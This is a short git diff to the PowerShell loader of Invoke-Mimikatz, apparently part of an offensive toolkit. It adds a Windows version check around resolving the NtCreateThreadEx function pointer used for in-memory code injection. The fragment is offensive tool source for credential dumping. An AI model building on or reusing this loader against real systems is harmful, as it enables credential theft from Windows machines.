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-rw-r--r--Exfiltration/Invoke-Mimikatz.ps111
1 files changed, 7 insertions, 4 deletions
diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1
index fc8365b..835d7a7 100644
--- a/Exfiltration/Invoke-Mimikatz.ps1
+++ b/Exfiltration/Invoke-Mimikatz.ps1
@@ -609,10 +609,13 @@ $RemoteScriptBlock = {
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
- $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
- $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
- $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
- $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
+ # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
+ if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
+ $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
+ $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
+ $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
+ }
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])